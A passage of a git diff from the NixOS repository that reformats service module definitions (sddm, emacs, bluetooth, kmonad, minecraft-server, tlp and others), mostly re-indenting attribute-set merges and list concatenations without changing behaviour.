-        ServerPath = toString xserverWrapper;
-        XephyrPath = "${pkgs.xorg.xorgserver.out}/bin/Xephyr";
-        SessionCommand = toString dmcfg.sessionData.wrapper;
-        SessionDir = "${dmcfg.sessionData.desktops}/share/xsessions";
-        XauthPath = "${pkgs.xorg.xauth}/bin/xauth";
-        DisplayCommand = toString Xsetup;
-        DisplayStopCommand = toString Xstop;
-        EnableHiDPI = cfg.enableHidpi;
-      };
-    }
-    // optionalAttrs dmcfg.autoLogin.enable {
-      Autologin = {
-        User = dmcfg.autoLogin.user;
-        Session = autoLoginSessionName;
-        Relogin = cfg.autoLogin.relogin;
-      };
+    // optionalAttrs (cfg.wayland.enable && cfg.wayland.compositor == "kwin") {
+      GreeterEnvironment = "QT_WAYLAND_SHELL_INTEGRATION=layer-shell";
+      InputMethod = ""; # needed if we are using --inputmethod with kwin
     };
 
+    Theme = {
+      Current = cfg.theme;
+      ThemeDir = "/run/current-system/sw/share/sddm/themes";
+      FacesDir = "/run/current-system/sw/share/sddm/faces";
+    }
+    // optionalAttrs (cfg.theme == "breeze") {
+      CursorTheme = "breeze_cursors";
+      CursorSize = 24;
+    };
+
+    Users = {
+      MaximumUid = config.ids.uids.nixbld;
+      HideUsers = concatStringsSep "," dmcfg.hiddenUsers;
+      HideShells = "/run/current-system/sw/bin/nologin";
+    };
+
+    Wayland = {
+      EnableHiDPI = cfg.enableHidpi;
+      SessionDir = "${dmcfg.sessionData.desktops}/share/wayland-sessions";
+      CompositorCommand = lib.optionalString cfg.wayland.enable cfg.wayland.compositorCommand;
+    };
+
+  }
+  // optionalAttrs xcfg.enable {
+    X11 = {
+      MinimumVT = if xcfg.tty != null then xcfg.tty else 7;
+      ServerPath = toString xserverWrapper;
+      XephyrPath = "${pkgs.xorg.xorgserver.out}/bin/Xephyr";
+      SessionCommand = toString dmcfg.sessionData.wrapper;
+      SessionDir = "${dmcfg.sessionData.desktops}/share/xsessions";
+      XauthPath = "${pkgs.xorg.xauth}/bin/xauth";
+      DisplayCommand = toString Xsetup;
+      DisplayStopCommand = toString Xstop;
+      EnableHiDPI = cfg.enableHidpi;
+    };
+  }
+  // optionalAttrs dmcfg.autoLogin.enable {
+    Autologin = {
+      User = dmcfg.autoLogin.user;
+      Session = autoLoginSessionName;
+      Relogin = cfg.autoLogin.relogin;
+    };
+  };
+
   cfgFile = iniFmt.generate "sddm.conf" (lib.recursiveUpdate defaultConfig cfg.settings);
 
   autoLoginSessionName = "${dmcfg.sessionData.autologinSession}.desktop";
diff --git a/nixos/modules/services/editors/emacs.md b/nixos/modules/services/editors/emacs.md
index a3c9ae5907b0..a0fe3e793d99 100644
--- a/nixos/modules/services/editors/emacs.md
+++ b/nixos/modules/services/editors/emacs.md
@@ -252,11 +252,9 @@ let
       (attrs: {
         # I don't want emacs.desktop file because I only use
         # emacsclient.
-        postInstall =
-          (attrs.postInstall or "")
-          + ''
-            rm $out/share/applications/emacs.desktop
-          '';
+        postInstall = (attrs.postInstall or "") + ''
+          rm $out/share/applications/emacs.desktop
+        '';
       });
 in
 [
diff --git a/nixos/modules/services/editors/emacs.nix b/nixos/modules/services/editors/emacs.nix
index 65211763e5a2..ff69a22f5447 100644
--- a/nixos/modules/services/editors/emacs.nix
+++ b/nixos/modules/services/editors/emacs.nix
@@ -66,26 +66,25 @@ in
   };
 
   config = lib.mkIf (cfg.enable || cfg.install) {
-    systemd.user.services.emacs =
-      {
-        description = "Emacs: the extensible, self-documenting text editor";
+    systemd.user.services.emacs = {
+      description = "Emacs: the extensible, self-documenting text editor";
 
-        serviceConfig = {
-          Type = "notify";
-          ExecStart = "${pkgs.runtimeShell} -c 'source ${config.system.build.setEnvironment}; exec ${cfg.package}/bin/emacs --fg-daemon'";
-          # Emacs exits with exit code 15 (SIGTERM), when stopped by systemd.
-          SuccessExitStatus = 15;
-          Restart = "always";
-        };
-
-        unitConfig = lib.optionalAttrs cfg.startWithGraphical {
-          After = "graphical-session.target";
-        };
-      }
-      // lib.optionalAttrs cfg.enable {
-        wantedBy = if cfg.startWithGraphical then [ "graphical-session.target" ] else [ "default.target" ];
+      serviceConfig = {
+        Type = "notify";
+        ExecStart = "${pkgs.runtimeShell} -c 'source ${config.system.build.setEnvironment}; exec ${cfg.package}/bin/emacs --fg-daemon'";
+        # Emacs exits with exit code 15 (SIGTERM), when stopped by systemd.
+        SuccessExitStatus = 15;
+        Restart = "always";
       };
 
+      unitConfig = lib.optionalAttrs cfg.startWithGraphical {
+        After = "graphical-session.target";
+      };
+    }
+    // lib.optionalAttrs cfg.enable {
+      wantedBy = if cfg.startWithGraphical then [ "graphical-session.target" ] else [ "default.target" ];
+    };
+
     environment.systemPackages = [
       cfg.package
       editorScript
diff --git a/nixos/modules/services/finance/libeufin/common.nix b/nixos/modules/services/finance/libeufin/common.nix
index 20b99ce9c396..e285fb602dfc 100644
--- a/nixos/modules/services/finance/libeufin/common.nix
+++ b/nixos/modules/services/finance/libeufin/common.nix
@@ -110,19 +110,18 @@ libeufinComponent:
               ${lib.getExe' cfg.package "libeufin-${libeufinComponent}"} dbinit ${args}
             '';
             # Grant DB permissions after schemas have been created
-            postStart =
-              ''
-                psql -U "${dbName}" -f "${dbScript}"
-              ''
-              + lib.optionalString ((!isNexus) && (cfg.initialAccounts != [ ])) ''
-                # only register initial accounts once
-                if [ ! -e /var/lib/libeufin-dbinit/init ]; then
-                  ${initialAccountRegistration}
+            postStart = ''
+              psql -U "${dbName}" -f "${dbScript}"
+            ''
+            + lib.optionalString ((!isNexus) && (cfg.initialAccounts != [ ])) ''
+              # only register initial accounts once
+              if [ ! -e /var/lib/libeufin-dbinit/init ]; then
+                ${initialAccountRegistration}
 
-                  touch /var/lib/libeufin-dbinit/init
-                  echo "Bank initialisation complete"
-                fi
-              '';
+                touch /var/lib/libeufin-dbinit/init
+                echo "Bank initialisation complete"
+              fi
+            '';
             requires = lib.optionals cfg.createLocalDatabase [ "postgresql.service" ];
             after = [ "network.target" ] ++ lib.optionals cfg.createLocalDatabase [ "postgresql.service" ];
           };
diff --git a/nixos/modules/services/finance/odoo.nix b/nixos/modules/services/finance/odoo.nix
index ec0c4992566e..146c9c6d9c79 100644
--- a/nixos/modules/services/finance/odoo.nix
+++ b/nixos/modules/services/finance/odoo.nix
@@ -100,14 +100,13 @@ in
         };
       };
 
-      services.odoo.settings.options =
-        {
-          data_dir = "/var/lib/private/odoo/data";
-          proxy_mode = cfg.domain != null;
-        }
-        // (lib.optionalAttrs (cfg.addons != [ ]) {
-          addons_path = lib.concatMapStringsSep "," lib.escapeShellArg cfg.addons;
-        });
+      services.odoo.settings.options = {
+        data_dir = "/var/lib/private/odoo/data";
+        proxy_mode = cfg.domain != null;
+      }
+      // (lib.optionalAttrs (cfg.addons != [ ]) {
+        addons_path = lib.concatMapStringsSep "," lib.escapeShellArg cfg.addons;
+      });
 
       users.users.odoo = {
         isSystemUser = true;
diff --git a/nixos/modules/services/games/factorio.nix b/nixos/modules/services/games/factorio.nix
index 611bd0fd3797..43eda28c095e 100644
--- a/nixos/modules/services/games/factorio.nix
+++ b/nixos/modules/services/games/factorio.nix
@@ -38,7 +38,8 @@ let
     only_admins_can_pause_the_game = true;
     autosave_only_on_server = true;
     non_blocking_saving = cfg.nonBlockingSaving;
-  } // cfg.extraSettings;
+  }
+  // cfg.extraSettings;
   serverSettingsString = builtins.toJSON (lib.filterAttrsRecursive (n: v: v != null) serverSettings);
   serverSettingsFile = pkgs.writeText "server-settings.json" serverSettingsString;
   playerListOption =
diff --git a/nixos/modules/services/games/minecraft-server.nix b/nixos/modules/services/games/minecraft-server.nix
index a4d82a6779bf..7cc2f4ff1163 100644
--- a/nixos/modules/services/games/minecraft-server.nix
+++ b/nixos/modules/services/games/minecraft-server.nix
@@ -259,51 +259,51 @@ in
         UMask = "0077";
       };
 
-      preStart =
-        ''
-          ln -sf ${eulaFile} eula.txt
-        ''
-        + (
-          if cfg.declarative then
-            ''
+      preStart = ''
+        ln -sf ${eulaFile} eula.txt
+      ''
+      + (
+        if cfg.declarative then
+          ''
 
-              if [ -e .declarative ]; then
+            if [ -e .declarative ]; then
 
-                # Was declarative before, no need to back up anything
-                ln -sf ${whitelistFile} whitelist.json
-                cp -f ${serverPropertiesFile} server.properties
+              # Was declarative before, no need to back up anything
+              ln -sf ${whitelistFile} whitelist.json
+              cp -f ${serverPropertiesFile} server.properties
 
-              else
+            else
 
-                # Declarative for the first time, backup stateful files
-                ln -sb --suffix=.stateful ${whitelistFile} whitelist.json
-                cp -b --suffix=.stateful ${serverPropertiesFile} server.properties
+              # Declarative for the first time, backup stateful files
+              ln -sb --suffix=.stateful ${whitelistFile} whitelist.json
+              cp -b --suffix=.stateful ${serverPropertiesFile} server.properties
 
-                # server.properties must have write permissions, because every time
-                # the server starts it first parses the file and then regenerates it..
-                chmod +w server.properties
-                echo "Autogenerated file that signifies that this server configuration is managed declaratively by NixOS" \
-                  > .declarative
+              # server.properties must have write permissions, because every time
+              # the server starts it first parses the file and then regenerates it..
+              chmod +w server.properties
+              echo "Autogenerated file that signifies that this server configuration is managed declaratively by NixOS" \
+                > .declarative
 
-              fi
-            ''
-          else
-            ''
-              if [ -e .declarative ]; then
-                rm .declarative
-              fi
-            ''
-        );
+            fi
+          ''
+        else
+          ''
+            if [ -e .declarative ]; then
+              rm .declarative
+            fi
+          ''
+      );
     };
 
     networking.firewall = lib.mkIf cfg.openFirewall (
       if cfg.declarative then
         {
           allowedUDPPorts = [ serverPort ];
-          allowedTCPPorts =
-            [ serverPort ]
-            ++ lib.optional (queryPort != null) queryPort
-            ++ lib.optional (rconPort != null) rconPort;
+          allowedTCPPorts = [
+            serverPort
+          ]
+          ++ lib.optional (queryPort != null) queryPort
+          ++ lib.optional (rconPort != null) rconPort;
         }
       else
         {
diff --git a/nixos/modules/services/games/minetest-server.nix b/nixos/modules/services/games/minetest-server.nix
index 52a2b31fc622..5b9fe630a729 100644
--- a/nixos/modules/services/games/minetest-server.nix
+++ b/nixos/modules/services/games/minetest-server.nix
@@ -50,27 +50,26 @@ let
       "${toString val}"
     ];
 
-  flags =
-    [
-      "--server"
-    ]
-    ++ (
-      if cfg.configPath != null then
-        [
-          "--config"
-          cfg.configPath
-        ]
-      else
-        [
-          "--config"
-          (builtins.toFile "minetest.conf" (toConf cfg.config))
-        ]
-    )
-    ++ (flag cfg.gameId "gameid")
-    ++ (flag cfg.world "world")
-    ++ (flag cfg.logPath "logfile")
-    ++ (flag cfg.port "port")
-    ++ cfg.extraArgs;
+  flags = [
+    "--server"
+  ]
+  ++ (
+    if cfg.configPath != null then
+      [
+        "--config"
+        cfg.configPath
+      ]
+    else
+      [
+        "--config"
+        (builtins.toFile "minetest.conf" (toConf cfg.config))
+      ]
+  )
+  ++ (flag cfg.gameId "gameid")
+  ++ (flag cfg.world "world")
+  ++ (flag cfg.logPath "logfile")
+  ++ (flag cfg.port "port")
+  ++ cfg.extraArgs;
 in
 {
   options = {
diff --git a/nixos/modules/services/hardware/amdvlk.nix b/nixos/modules/services/hardware/amdvlk.nix
index 95aeec16c02a..ba0349a069bc 100644
--- a/nixos/modules/services/hardware/amdvlk.nix
+++ b/nixos/modules/services/hardware/amdvlk.nix
@@ -37,15 +37,14 @@ in
   };
 
   config = lib.mkIf cfg.enable {
-    hardware.graphics =
-      {
-        enable = true;
-        extraPackages = [ cfg.package ];
-      }
-      // lib.optionalAttrs cfg.support32Bit.enable {
-        enable32Bit = true;
-        extraPackages32 = [ cfg.support32Bit.package ];
-      };
+    hardware.graphics = {
+      enable = true;
+      extraPackages = [ cfg.package ];
+    }
+    // lib.optionalAttrs cfg.support32Bit.enable {
+      enable32Bit = true;
+      extraPackages32 = [ cfg.support32Bit.package ];
+    };
 
     environment.sessionVariables = lib.mkIf cfg.supportExperimental.enable {
       AMDVLK_ENABLE_DEVELOPING_EXT = "all";
diff --git a/nixos/modules/services/hardware/bitbox-bridge.nix b/nixos/modules/services/hardware/bitbox-bridge.nix
index 785434aea3f7..483453de339e 100644
--- a/nixos/modules/services/hardware/bitbox-bridge.nix
+++ b/nixos/modules/services/hardware/bitbox-bridge.nix
@@ -34,17 +34,18 @@ in
 
   config = lib.mkIf cfg.enable {
     environment.systemPackages = [ cfg.package ];
-    services.udev.packages =
-      [ cfg.package ]
-      ++ lib.optionals (cfg.runOnMount) [
-        (pkgs.writeTextFile {
-          name = "bitbox-bridge-run-on-mount-udev-rules";
-          destination = "/etc/udev/rules.d/99-bitbox-bridge-run-on-mount.rules";
-          text = ''
-            SUBSYSTEM=="usb", ATTRS{idVendor}=="03eb", ATTRS{idProduct}=="2403", MODE="0660", GROUP="bitbox", TAG+="systemd", SYMLINK+="bitbox02", ENV{SYSTEMD_WANTS}="bitbox-bridge.service"
-          '';
-        })
-      ];
+    services.udev.packages = [
+      cfg.package
+    ]
+    ++ lib.optionals (cfg.runOnMount) [
+      (pkgs.writeTextFile {
+        name = "bitbox-bridge-run-on-mount-udev-rules";
+        destination = "/etc/udev/rules.d/99-bitbox-bridge-run-on-mount.rules";
+        text = ''
+          SUBSYSTEM=="usb", ATTRS{idVendor}=="03eb", ATTRS{idProduct}=="2403", MODE="0660", GROUP="bitbox", TAG+="systemd", SYMLINK+="bitbox02", ENV{SYSTEMD_WANTS}="bitbox-bridge.service"
+        '';
+      })
+    ];
 
     systemd.services.bitbox-bridge = {
       description = "BitBox Bridge";
diff --git a/nixos/modules/services/hardware/bluetooth.nix b/nixos/modules/services/hardware/bluetooth.nix
index 47fb322e56d2..ca89737e35fd 100644
--- a/nixos/modules/services/hardware/bluetooth.nix
+++ b/nixos/modules/services/hardware/bluetooth.nix
@@ -127,77 +127,76 @@ in
     services.dbus.packages = [ package ] ++ optional cfg.hsphfpd.enable pkgs.hsphfpd;
     systemd.packages = [ package ];
 
-    systemd.services =
-      {
-        bluetooth =
-          let
-            # `man bluetoothd` will refer to main.conf in the nix store but bluez
-            # will in fact load the configuration file at /etc/bluetooth/main.conf
-            # so force it here to avoid any ambiguity and things suddenly breaking
-            # if/when the bluez derivation is changed.
-            args = [
-              "-f"
-              "/etc/bluetooth/main.conf"
-            ] ++ optional hasDisabledPlugins "--noplugin=${concatStringsSep "," cfg.disabledPlugins}";
-          in
-          {
-            wantedBy = [ "bluetooth.target" ];
-            aliases = [ "dbus-org.bluez.service" ];
-            # restarting can leave people without a mouse/keyboard
-            restartIfChanged = false;
-            serviceConfig = {
-              ExecStart = [
-                ""
-                "${package}/libexec/bluetooth/bluetoothd ${utils.escapeSystemdExecArgs args}"
-              ];
-              CapabilityBoundingSet = [
-                "CAP_NET_BIND_SERVICE" # sockets and tethering
-              ];
-              ConfigurationDirectoryMode = "0755";
-              NoNewPrivileges = true;
-              RestrictNamespaces = true;
-              ProtectControlGroups = true;
-              MemoryDenyWriteExecute = true;
-              RestrictSUIDSGID = true;
-              SystemCallArchitectures = "native";
-              SystemCallFilter = "@system-service";
-              LockPersonality = true;
-              RestrictRealtime = true;
-              ProtectProc = "invisible";
-              PrivateTmp = true;
-
-              PrivateUsers = false;
-
-              # loading hardware modules
-              ProtectKernelModules = false;
-              ProtectKernelTunables = false;
-
-              PrivateNetwork = false; # tethering
-            };
-          };
-      }
-      // (optionalAttrs cfg.hsphfpd.enable {
-        hsphfpd = {
-          after = [ "bluetooth.service" ];
-          requires = [ "bluetooth.service" ];
+    systemd.services = {
+      bluetooth =
+        let
+          # `man bluetoothd` will refer to main.conf in the nix store but bluez
+          # will in fact load the configuration file at /etc/bluetooth/main.conf
+          # so force it here to avoid any ambiguity and things suddenly breaking
+          # if/when the bluez derivation is changed.
+          args = [
+            "-f"
+            "/etc/bluetooth/main.conf"
+          ]
+          ++ optional hasDisabledPlugins "--noplugin=${concatStringsSep "," cfg.disabledPlugins}";
+        in
+        {
           wantedBy = [ "bluetooth.target" ];
+          aliases = [ "dbus-org.bluez.service" ];
+          # restarting can leave people without a mouse/keyboard
+          restartIfChanged = false;
+          serviceConfig = {
+            ExecStart = [
+              ""
+              "${package}/libexec/bluetooth/bluetoothd ${utils.escapeSystemdExecArgs args}"
+            ];
+            CapabilityBoundingSet = [
+              "CAP_NET_BIND_SERVICE" # sockets and tethering
+            ];
+            ConfigurationDirectoryMode = "0755";
+            NoNewPrivileges = true;
+            RestrictNamespaces = true;
+            ProtectControlGroups = true;
+            MemoryDenyWriteExecute = true;
+            RestrictSUIDSGID = true;
+            SystemCallArchitectures = "native";
+            SystemCallFilter = "@system-service";
+            LockPersonality = true;
+            RestrictRealtime = true;
+            ProtectProc = "invisible";
+            PrivateTmp = true;
 
-          description = "A prototype implementation used for connecting HSP/HFP Bluetooth devices";
-          serviceConfig.ExecStart = "${pkgs.hsphfpd}/bin/hsphfpd.pl";
+            PrivateUsers = false;
+
+            # loading hardware modules
+            ProtectKernelModules = false;
+            ProtectKernelTunables = false;
+
+            PrivateNetwork = false; # tethering
+          };
         };
-      });
+    }
+    // (optionalAttrs cfg.hsphfpd.enable {
+      hsphfpd = {
+        after = [ "bluetooth.service" ];
+        requires = [ "bluetooth.service" ];
+        wantedBy = [ "bluetooth.target" ];
 
-    systemd.user.services =
-      {
-        obex.aliases = [ "dbus-org.bluez.obex.service" ];
-      }
-      // optionalAttrs cfg.hsphfpd.enable {
-        telephony_client = {
-          wantedBy = [ "default.target" ];
-
-          description = "telephony_client for hsphfpd";
-          serviceConfig.ExecStart = "${pkgs.hsphfpd}/bin/telephony_client.pl";
-        };
+        description = "A prototype implementation used for connecting HSP/HFP Bluetooth devices";
+        serviceConfig.ExecStart = "${pkgs.hsphfpd}/bin/hsphfpd.pl";
       };
+    });
+
+    systemd.user.services = {
+      obex.aliases = [ "dbus-org.bluez.obex.service" ];
+    }
+    // optionalAttrs cfg.hsphfpd.enable {
+      telephony_client = {
+        wantedBy = [ "default.target" ];
+
+        description = "telephony_client for hsphfpd";
+        serviceConfig.ExecStart = "${pkgs.hsphfpd}/bin/telephony_client.pl";
+      };
+    };
   };
 }
diff --git a/nixos/modules/services/hardware/handheld-daemon.nix b/nixos/modules/services/hardware/handheld-daemon.nix
index 4ea5eb79593f..81ee3fcf5ddd 100644
--- a/nixos/modules/services/hardware/handheld-daemon.nix
+++ b/nixos/modules/services/hardware/handheld-daemon.nix
@@ -30,7 +30,8 @@ in
     services.handheld-daemon.ui.enable = mkDefault true;
     environment.systemPackages = [
       cfg.package
-    ] ++ lib.optional cfg.ui.enable cfg.ui.package;
+    ]
+    ++ lib.optional cfg.ui.enable cfg.ui.package;
     services.udev.packages = [ cfg.package ];
     systemd.packages = [ cfg.package ];
 
diff --git a/nixos/modules/services/hardware/interception-tools.nix b/nixos/modules/services/hardware/interception-tools.nix
index 9bba517ecff8..a8ae4f94b8df 100644
--- a/nixos/modules/services/hardware/interception-tools.nix
+++ b/nixos/modules/services/hardware/interception-tools.nix
@@ -52,7 +52,8 @@ in
       path = [
         pkgs.bash
         pkgs.interception-tools
-      ] ++ cfg.plugins;
+      ]
+      ++ cfg.plugins;
       serviceConfig = {
         ExecStart = ''
           ${pkgs.interception-tools}/bin/udevmon -c \
diff --git a/nixos/modules/services/hardware/kmonad.nix b/nixos/modules/services/hardware/kmonad.nix
index 72d5d7d71503..2185d18975c1 100644
--- a/nixos/modules/services/hardware/kmonad.nix
+++ b/nixos/modules/services/hardware/kmonad.nix
@@ -141,60 +141,60 @@ let
         StartLimitIntervalSec = 2;
         StartLimitBurst = 5;
       };
-      serviceConfig =
-        {
-          ExecStart = ''
-            ${lib.getExe cfg.package} ${mkCfg keyboard} \
-              ${utils.escapeSystemdExecArgs cfg.extraArgs}
-          '';
-          Restart = "always";
-          # Restart at increasing intervals from 2s to 1m
-          RestartSec = 2;
-          RestartSteps = 30;
-          RestartMaxDelaySec = "1min";
-          Nice = -20;
-          DynamicUser = true;
-          User = "kmonad";
-          Group = "kmonad";
-          SupplementaryGroups = [
-            # These ensure that our dynamic user has access to the device node
-            config.users.groups.input.name
-            config.users.groups.uinput.name
-          ] ++ keyboard.extraGroups;
-        }
-        // lib.optionalAttrs keyboard.enableHardening {
-          DeviceAllow = [
-            "/dev/uinput w"
-            "char-input r"
-          ];
-          CapabilityBoundingSet = [ "" ];
-          DevicePolicy = "closed";
-          IPAddressDeny = [ "any" ];
-          LockPersonality = true;
-          MemoryDenyWriteExecute = true;
-          PrivateNetwork = true;
-          PrivateUsers = true;
-          ProcSubset = "pid";
-          ProtectClock = true;
-          ProtectControlGroups = true;
-          ProtectHome = true;
-          ProtectHostname = true;
-          ProtectKernelLogs = true;
-          ProtectKernelModules = true;
-          ProtectKernelTunables = true;
-          ProtectProc = "invisible";
-          RestrictAddressFamilies = [ "none" ];
-          RestrictNamespaces = true;
-          RestrictRealtime = true;
-          SystemCallArchitectures = [ "native" ];
-          SystemCallErrorNumber = "EPERM";
-          SystemCallFilter = [
-            "@system-service"
-            "~@privileged"
-            "~@resources"
-          ];
-          UMask = "0077";
-        };
+      serviceConfig = {
+        ExecStart = ''
+          ${lib.getExe cfg.package} ${mkCfg keyboard} \
+            ${utils.escapeSystemdExecArgs cfg.extraArgs}
+        '';
+        Restart = "always";
+        # Restart at increasing intervals from 2s to 1m
+        RestartSec = 2;
+        RestartSteps = 30;
+        RestartMaxDelaySec = "1min";
+        Nice = -20;
+        DynamicUser = true;
+        User = "kmonad";
+        Group = "kmonad";
+        SupplementaryGroups = [
+          # These ensure that our dynamic user has access to the device node
+          config.users.groups.input.name
+          config.users.groups.uinput.name
+        ]
+        ++ keyboard.extraGroups;
+      }
+      // lib.optionalAttrs keyboard.enableHardening {
+        DeviceAllow = [
+          "/dev/uinput w"
+          "char-input r"
+        ];
+        CapabilityBoundingSet = [ "" ];
+        DevicePolicy = "closed";
+        IPAddressDeny = [ "any" ];
+        LockPersonality = true;
+        MemoryDenyWriteExecute = true;
+        PrivateNetwork = true;
+        PrivateUsers = true;
+        ProcSubset = "pid";
+        ProtectClock = true;
+        ProtectControlGroups = true;
+        ProtectHome = true;
+        ProtectHostname = true;
+        ProtectKernelLogs = true;
+        ProtectKernelModules = true;
+        ProtectKernelTunables = true;
+        ProtectProc = "invisible";
+        RestrictAddressFamilies = [ "none" ];
+        RestrictNamespaces = true;
+        RestrictRealtime = true;
+        SystemCallArchitectures = [ "native" ];
+        SystemCallErrorNumber = "EPERM";
+        SystemCallFilter = [
+          "@system-service"
+          "~@privileged"
+          "~@resources"
+        ];
+        UMask = "0077";
+      };
       # make sure the new config is used after nixos-rebuild switch
       # stopIfChanged controls[0] how a service is "restarted" during
       # nixos-rebuild switch.  By default, stopIfChanged is true, which stops
diff --git a/nixos/modules/services/hardware/monado.nix b/nixos/modules/services/hardware/monado.nix
index 0fa401c35934..e7d9bb45b711 100644
--- a/nixos/modules/services/hardware/monado.nix
+++ b/nixos/modules/services/hardware/monado.nix
@@ -50,8 +50,7 @@ in
     };
 
     highPriority =
-      mkEnableOption "high priority capability for monado-service"
-      // mkOption { default = true; };
+      mkEnableOption "high priority capability for monado-service" // mkOption { default = true; };
   };
 
   config = mkIf cfg.enable {
diff --git a/nixos/modules/services/hardware/openrgb.nix b/nixos/modules/services/hardware/openrgb.nix
index 2f29d4a1de88..ecbea501fd24 100644
--- a/nixos/modules/services/hardware/openrgb.nix
+++ b/nixos/modules/services/hardware/openrgb.nix
@@ -47,10 +47,11 @@ in
     environment.systemPackages = [ cfg.package ];
     services.udev.packages = [ cfg.package ];
 
-    boot.kernelModules =
-      [ "i2c-dev" ]
-      ++ lib.optionals (cfg.motherboard == "amd") [ "i2c-piix4" ]
-      ++ lib.optionals (cfg.motherboard == "intel") [ "i2c-i801" ];
+    boot.kernelModules = [
+      "i2c-dev"
+    ]
+    ++ lib.optionals (cfg.motherboard == "amd") [ "i2c-piix4" ]
+    ++ lib.optionals (cfg.motherboard == "intel") [ "i2c-i801" ];
 
     systemd.services.openrgb = {
       description = "OpenRGB server daemon";
diff --git a/nixos/modules/services/hardware/rasdaemon.nix b/nixos/modules/services/hardware/rasdaemon.nix
index cd5b24281f5f..b86e8b04d5ff 100644
--- a/nixos/modules/services/hardware/rasdaemon.nix
+++ b/nixos/modules/services/hardware/rasdaemon.nix
@@ -100,16 +100,17 @@ in
         text = cfg.config;
       };
     };
-    environment.systemPackages =
-      [ cfg.package ]
-      ++ lib.optionals (cfg.testing) (
-        with pkgs.error-inject;
-        [
-          edac-inject
-          mce-inject
-          aer-inject
-        ]
-      );
+    environment.systemPackages = [
+      cfg.package
+    ]
+    ++ lib.optionals (cfg.testing) (
+      with pkgs.error-inject;
+      [
+        edac-inject
+        mce-inject
+        aer-inject
+      ]
+    );
 
     boot.initrd.kernelModules =
       cfg.extraModules
diff --git a/nixos/modules/services/hardware/sane.nix b/nixos/modules/services/hardware/sane.nix
index 4a7398721f23..337bed562727 100644
--- a/nixos/modules/services/hardware/sane.nix
+++ b/nixos/modules/services/hardware/sane.nix
@@ -34,13 +34,12 @@ let
     LD_LIBRARY_PATH = [ "/etc/sane-libs" ];
   };
 
-  backends =
-    [
-      pkg
-      netConf
-    ]
-    ++ lib.optional config.services.saned.enable sanedConf
-    ++ config.hardware.sane.extraBackends;
+  backends = [
+    pkg
+    netConf
+  ]
+  ++ lib.optional config.services.saned.enable sanedConf
+  ++ config.hardware.sane.extraBackends;
   saneConfig = pkgs.mkSaneConfig {
     paths = backends;
     inherit (config.hardware.sane) disabledDefaultBackends;
diff --git a/nixos/modules/services/hardware/scanservjs.nix b/nixos/modules/services/hardware/scanservjs.nix
index 9bcfc76a2742..774bff45744b 100644
--- a/nixos/modules/services/hardware/scanservjs.nix
+++ b/nixos/modules/services/hardware/scanservjs.nix
@@ -13,7 +13,8 @@ let
     tesseract = lib.getExe pkgs.tesseract;
     # it defaults to config/devices.json, but "config" dir doesn't exist by default and scanservjs doesn't create it
     devicesPath = "devices.json";
-  } // cfg.settings;
+  }
+  // cfg.settings;
   settingsFormat = pkgs.formats.json { };
 
   leafs =
diff --git a/nixos/modules/services/hardware/thinkfan.nix b/nixos/modules/services/hardware/thinkfan.nix
index 33f1ae422b2d..d5d1f23f1d98 100644
--- a/nixos/modules/services/hardware/thinkfan.nix
+++ b/nixos/modules/services/hardware/thinkfan.nix
@@ -41,62 +41,61 @@ let
     name:
     lib.types.submodule {
       freeformType = lib.types.attrsOf settingsFormat.type;
-      options =
-        {
-          type = lib.mkOption {
-            type = lib.types.enum [
-              "hwmon"
-              "atasmart"
-              "tpacpi"
-              "nvml"
-            ];
-            description = ''
-              The ${name} type, can be
-              `hwmon` for standard ${name}s,
+      options = {
+        type = lib.mkOption {
+          type = lib.types.enum [
+            "hwmon"
+            "atasmart"
+            "tpacpi"
+            "nvml"
+          ];
+          description = ''
+            The ${name} type, can be
+            `hwmon` for standard ${name}s,
 
-              `atasmart` to read the temperature via
-              S.M.A.R.T (requires smartSupport to be enabled),
+            `atasmart` to read the temperature via
+            S.M.A.R.T (requires smartSupport to be enabled),
 
-              `tpacpi` for the legacy thinkpac_acpi driver, or
+            `tpacpi` for the legacy thinkpac_acpi driver, or
 
-              `nvml` for the (proprietary) nVidia driver.
-            '';
-          };
-          query = lib.mkOption {
-            type = lib.types.str;
-            description = ''
-              The query string used to match one or more ${name}s: can be
-              a fullpath to the temperature file (single ${name}) or a fullpath
-              to a driver directory (multiple ${name}s).
-
-              ::: {.note}
-              When multiple ${name}s match, the query can be restricted using the
-              {option}`name` or {option}`indices` options.
-              :::
-            '';
-          };
-          indices = lib.mkOption {
-            type = with lib.types; nullOr (listOf ints.unsigned);
-            default = null;
-            description = ''
-              A list of ${name}s to pick in case multiple ${name}s match the query.
-
-              ::: {.note}
-              Indices start from 0.
-              :::
-            '';
-          };
-        }
-        // lib.optionalAttrs (name == "sensor") {
-          correction = lib.mkOption {
-            type = with lib.types; nullOr (listOf int);
-            default = null;
-            description = ''
-              A list of values to be added to the temperature of each sensor,
-              can be used to equalize small discrepancies in temperature ratings.
-            '';
-          };
+            `nvml` for the (proprietary) nVidia driver.
+          '';
         };
+        query = lib.mkOption {
+          type = lib.types.str;
+          description = ''
+            The query string used to match one or more ${name}s: can be
+            a fullpath to the temperature file (single ${name}) or a fullpath
+            to a driver directory (multiple ${name}s).
+
+            ::: {.note}
+            When multiple ${name}s match, the query can be restricted using the
+            {option}`name` or {option}`indices` options.
+            :::
+          '';
+        };
+        indices = lib.mkOption {
+          type = with lib.types; nullOr (listOf ints.unsigned);
+          default = null;
+          description = ''
+            A list of ${name}s to pick in case multiple ${name}s match the query.
+
+            ::: {.note}
+            Indices start from 0.
+            :::
+          '';
+        };
+      }
+      // lib.optionalAttrs (name == "sensor") {
+        correction = lib.mkOption {
+          type = with lib.types; nullOr (listOf int);
+          default = null;
+          description = ''
+            A list of values to be added to the temperature of each sensor,
+            can be used to equalize small discrepancies in temperature ratings.
+          '';
+        };
+      };
     };
 
   # removes NixOS special and unused attributes
diff --git a/nixos/modules/services/hardware/tlp.nix b/nixos/modules/services/hardware/tlp.nix
index 341784782b52..cfd18d00bfb6 100644
--- a/nixos/modules/services/hardware/tlp.nix
+++ b/nixos/modules/services/hardware/tlp.nix
@@ -82,14 +82,13 @@ in
       }
     ];
 
-    environment.etc =
-      {
-        "tlp.conf".text = (mkTlpConfig cfg.settings) + cfg.extraConfig;
-      }
-      // lib.optionalAttrs enableRDW {
-        "NetworkManager/dispatcher.d/99tlp-rdw-nm".source =
-          "${cfg.package}/lib/NetworkManager/dispatcher.d/99tlp-rdw-nm";
-      };
+    environment.etc = {
+      "tlp.conf".text = (mkTlpConfig cfg.settings) + cfg.extraConfig;
+    }
+    // lib.optionalAttrs enableRDW {
+      "NetworkManager/dispatcher.d/99tlp-rdw-nm".source =
